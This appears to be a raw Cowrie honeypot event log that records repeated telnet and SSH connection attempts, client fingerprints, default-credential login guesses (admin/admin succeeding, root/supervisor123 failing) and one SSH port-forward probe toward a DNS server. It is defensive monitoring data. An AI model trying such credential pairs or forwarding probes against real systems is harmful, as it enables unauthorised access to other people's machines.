{"eventid":"cowrie.session.closed","duration":31.552195072174072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:49.833129Z","src_ip":"147.124.211.111","session":"997d39f9a7bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953845262527466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:50.044309Z","src_ip":"147.124.211.111","session":"bb16733aa35c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.69818091392517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:50.948589Z","src_ip":"147.124.211.111","session":"9f1d2b52ee9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.201064109802246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:51.115183Z","src_ip":"147.124.211.111","session":"ad07e165e53b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573985815048218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:51.154428Z","src_ip":"147.124.211.111","session":"255347aac012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.559622049331665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:51.962570Z","src_ip":"147.124.211.111","session":"a0859ed1e2c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38362,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d42142bdce","protocol":"telnet","message":"New connection: 147.124.211.111:38362 (159.203.135.109:23) [session: 99d42142bdce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:52.010542Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38366,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2427817879d","protocol":"telnet","message":"New connection: 147.124.211.111:38366 (159.203.135.109:23) [session: c2427817879d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:52.413657Z"}
{"eventid":"cowrie.session.closed","duration":30.89789652824402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:53.218539Z","src_ip":"147.124.211.111","session":"f22cb27d39e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.56444263458252,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:54.179809Z","src_ip":"137.184.155.248","session":"e67095b77120","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38390,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2bf85563764","protocol":"telnet","message":"New connection: 147.124.211.111:38390 (159.203.135.109:23) [session: d2bf85563764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:54.421468Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38404,"dst_ip":"159.203.135.109","dst_port":23,"session":"d600055d6a3c","protocol":"telnet","message":"New connection: 147.124.211.111:38404 (159.203.135.109:23) [session: d600055d6a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:54.774694Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38408,"dst_ip":"159.203.135.109","dst_port":23,"session":"75e4db06af13","protocol":"telnet","message":"New connection: 147.124.211.111:38408 (159.203.135.109:23) [session: 75e4db06af13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:55.200508Z"}
{"eventid":"cowrie.session.closed","duration":31.47132635116577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:55.850438Z","src_ip":"147.124.211.111","session":"bf1abc9447bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706865072250366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:56.613070Z","src_ip":"147.124.211.111","session":"551fbfae094a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38438,"dst_ip":"159.203.135.109","dst_port":23,"session":"217cd3c9dd58","protocol":"telnet","message":"New connection: 147.124.211.111:38438 (159.203.135.109:23) [session: 217cd3c9dd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:56.946732Z"}
{"eventid":"cowrie.session.closed","duration":30.851848125457764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:57.508106Z","src_ip":"147.124.211.111","session":"9bf52c7ed9ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43720,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c0e823cb42","protocol":"telnet","message":"New connection: 137.184.155.248:43720 (10.17.0.5:23) [session: 40c0e823cb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:57.716484Z"}
{"eventid":"cowrie.session.closed","duration":30.713037967681885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:58.025558Z","src_ip":"147.124.211.111","session":"c7359d5bc95c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38422,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad85b572b2a","protocol":"telnet","message":"New connection: 147.124.211.111:38422 (159.203.135.109:23) [session: 8ad85b572b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:58.289812Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38450,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f08203579f","protocol":"telnet","message":"New connection: 147.124.211.111:38450 (159.203.135.109:23) [session: b6f08203579f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:58.978343Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38466,"dst_ip":"159.203.135.109","dst_port":23,"session":"2909eb42405e","protocol":"telnet","message":"New connection: 147.124.211.111:38466 (159.203.135.109:23) [session: 2909eb42405e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:59.065364Z"}
{"eventid":"cowrie.session.closed","duration":30.84980869293213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:59.110348Z","src_ip":"147.124.211.111","session":"a20c75d972c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611684560775757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:59.205752Z","src_ip":"147.124.211.111","session":"8d9b27913603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718502044677734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:59.248125Z","src_ip":"147.124.211.111","session":"91945319218e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38434,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e710fcc562","protocol":"telnet","message":"New connection: 147.124.211.111:38434 (159.203.135.109:23) [session: a4e710fcc562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:59.504992Z"}
{"eventid":"cowrie.session.closed","duration":30.89932131767273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:59.833747Z","src_ip":"147.124.211.111","session":"d5f9b0f7ebbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.742755651474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.026186Z","src_ip":"147.124.211.111","session":"46130644e42f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55460,"dst_ip":"159.203.135.109","dst_port":23,"session":"316b4c47f9dc","protocol":"telnet","message":"New connection: 147.124.211.111:55460 (159.203.135.109:23) [session: 316b4c47f9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.183244Z"}
{"eventid":"cowrie.session.closed","duration":31.001264810562134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.205670Z","src_ip":"147.124.211.111","session":"1242e5a96633","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117261171340942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.219176Z","src_ip":"147.124.211.111","session":"41a805e7911c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43200,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea27140b41d1","protocol":"ssh","message":"New connection: 87.251.64.176:43200 (10.17.0.5:22) [session: ea27140b41d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.269543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.275169Z","src_ip":"87.251.64.176","session":"ea27140b41d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38476,"dst_ip":"159.203.135.109","dst_port":23,"session":"229e5da2664c","protocol":"telnet","message":"New connection: 147.124.211.111:38476 (159.203.135.109:23) [session: 229e5da2664c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.338628Z"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.372829Z","src_ip":"87.251.64.176","session":"ea27140b41d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.685349Z","src_ip":"87.251.64.176","session":"ea27140b41d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.784265Z","session":"ea27140b41d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.233558654785156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.850528Z","src_ip":"147.124.211.111","session":"9e726a0b2c51","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:00.908706Z","src_ip":"87.251.64.176","session":"ea27140b41d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:01.008334Z","src_ip":"87.251.64.176","session":"ea27140b41d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.687635898590088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:01.564626Z","src_ip":"147.124.211.111","session":"59ffd0549c04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490137100219727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:02.050156Z","src_ip":"147.124.211.111","session":"23518ab4a5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599785804748535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:02.285877Z","src_ip":"147.124.211.111","session":"fd3d70849f4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55502,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10ae1d3a710","protocol":"telnet","message":"New connection: 147.124.211.111:55502 (159.203.135.109:23) [session: b10ae1d3a710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:02.829620Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55504,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bfca7d69b48","protocol":"telnet","message":"New connection: 147.124.211.111:55504 (159.203.135.109:23) [session: 3bfca7d69b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:02.994279Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55472,"dst_ip":"159.203.135.109","dst_port":23,"session":"c91ba43b64e2","protocol":"telnet","message":"New connection: 147.124.211.111:55472 (159.203.135.109:23) [session: c91ba43b64e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:03.026975Z"}
{"eventid":"cowrie.session.closed","duration":30.192017555236816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:03.040946Z","src_ip":"147.124.211.111","session":"bfe08641e1cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702035427093506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:03.392285Z","src_ip":"147.124.211.111","session":"d8e5216a0bd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55490,"dst_ip":"159.203.135.109","dst_port":23,"session":"9035a4329294","protocol":"telnet","message":"New connection: 147.124.211.111:55490 (159.203.135.109:23) [session: 9035a4329294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:03.793806Z"}
{"eventid":"cowrie.session.closed","duration":31.677305221557617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:03.945173Z","src_ip":"147.124.211.111","session":"1dae64ca00f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55518,"dst_ip":"159.203.135.109","dst_port":23,"session":"480aaa7fdc70","protocol":"telnet","message":"New connection: 147.124.211.111:55518 (159.203.135.109:23) [session: 480aaa7fdc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:04.177737Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55532,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba620c40d788","protocol":"telnet","message":"New connection: 147.124.211.111:55532 (159.203.135.109:23) [session: ba620c40d788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:04.207800Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a11b9e07c01f","protocol":"telnet","message":"New connection: 147.124.211.111:55546 (159.203.135.109:23) [session: a11b9e07c01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:04.231461Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55558,"dst_ip":"159.203.135.109","dst_port":23,"session":"69220cddea16","protocol":"telnet","message":"New connection: 147.124.211.111:55558 (159.203.135.109:23) [session: 69220cddea16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:04.317921Z"}
{"eventid":"cowrie.session.closed","duration":31.187020540237427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:04.443031Z","src_ip":"147.124.211.111","session":"41d13d24a59a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849140167236328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:05.039939Z","src_ip":"147.124.211.111","session":"4f38558cac69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55498,"dst_ip":"159.203.135.109","dst_port":23,"session":"72d094ecdf0b","protocol":"telnet","message":"New connection: 147.124.211.111:55498 (159.203.135.109:23) [session: 72d094ecdf0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:05.906487Z"}
{"eventid":"cowrie.session.closed","duration":30.316020727157593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:06.153410Z","src_ip":"147.124.211.111","session":"cc14020add3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843924045562744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:06.221709Z","src_ip":"147.124.211.111","session":"fb814e4e572b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68930983543396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:06.988530Z","src_ip":"147.124.211.111","session":"770e6bfa3e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28993248939514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:07.165779Z","src_ip":"147.124.211.111","session":"9965c9a78ca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44220781326294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:07.314069Z","src_ip":"147.124.211.111","session":"bd1e4cc7b717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960240840911865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:07.425869Z","src_ip":"147.124.211.111","session":"ea5e41b85261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.30197834968567,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:08.063265Z","src_ip":"137.184.155.248","session":"4709df93e4ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584856748580933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:08.260770Z","src_ip":"147.124.211.111","session":"01f5707c9be7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":44730,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce632a5b17b2","protocol":"ssh","message":"New connection: 186.4.240.226:44730 (10.17.0.5:22) [session: ce632a5b17b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:08.728321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:08.732796Z","src_ip":"186.4.240.226","session":"ce632a5b17b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:08.821300Z","src_ip":"186.4.240.226","session":"ce632a5b17b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.566692352294922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:08.927191Z","src_ip":"147.124.211.111","session":"958cc337ef0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55588,"dst_ip":"159.203.135.109","dst_port":23,"session":"78eb35804eb0","protocol":"telnet","message":"New connection: 147.124.211.111:55588 (159.203.135.109:23) [session: 78eb35804eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:09.341108Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"supervisor123","message":"login attempt [root/supervisor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:09.362006Z","src_ip":"186.4.240.226","session":"ce632a5b17b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.031028747558594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:51:09.633878Z","src_ip":"147.124.211.111","session":"c5d469d49dd7","protocol":"telnet"}
